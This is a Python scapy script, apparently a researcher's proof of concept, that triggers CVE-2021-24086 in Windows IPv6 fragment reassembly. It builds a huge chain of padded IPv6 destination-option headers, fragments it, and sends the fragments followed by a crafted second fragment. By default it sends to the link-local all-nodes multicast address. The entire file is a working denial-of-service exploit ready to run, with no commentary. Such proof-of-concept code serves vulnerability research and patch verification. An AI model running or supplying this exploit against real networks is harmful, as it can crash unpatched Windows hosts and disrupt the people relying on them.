# Axel '0vercl0k' Souchet - April 7 2021
from scapy.all import *
import argparse

def frag6(target, frag_id, bytes, nh, frag_size = 1008):
    '''Ghetto fragmentation.'''
    assert (frag_size % 8) == 0
    leftover = bytes
    offset = 0
    frags = []
    while len(leftover) > 0:
        chunk = leftover[: frag_size]
        leftover = leftover[len(chunk): ]
        last_pkt = len(leftover) == 0
        # 0 -> No more / 1 -> More
        m = 0 if last_pkt else 1
        assert offset < 8191
        pkt = Ether() \
            / IPv6(dst = target) \
            / IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \
            / chunk

        offset += (len(chunk) // 8)
        frags.append(pkt)
    return frags

def pull_the_trigger(args):
    '''Trigger CVE-2021-24086 patched in REL2102.'''
    frag_id = random.randint(0, 0xffffffff)
    second_pkt_id = (~frag_id & 0xffffffff)
    reassembled_pkt = IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xff)),
            PadN(optdata=('c'*0xff)),
            PadN(optdata=('d'*0xff)),
            PadN(optdata=('e'*0xff)),
            PadN(optdata=('f'*0xff)),
            PadN(optdata=('0'*0xff)),
        ]) \
        / IPv6ExtHdrDestOpt(options = [
            PadN(optdata=('a'*0xff)),
            PadN(optdata=('b'*0xa0)),
        ]) \
        / IPv6ExtHdrFragment(
            id = second_pkt_id, m = 1,
            nh = 17, offset = 0
        ) \
        / UDP(dport = 31337, sport = 31337, chksum=0x7e7f)

    reassembled_pkt = bytes(reassembled_pkt)
    assert (len(reassembled_pkt) % 8) == 0, 'not aligned'
    frags = frag6(args.target, frag_id, reassembled_pkt, 60)

    print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}')
    sendp(frags, iface= args.iface)

    reassembled_pkt_2 = Ether() \
        / IPv6(dst = args.target) \
        / IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
        / 'doar-e ftw'

    sendp(reassembled_pkt_2, iface = args.iface)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--target', default = 'ff02::1')
    parser.add_argument('--iface', default = 'eth1')
    args = parser.parse_args()
    pull_the_trigger(args)
    return

if __name__ == '__main__':
    main()
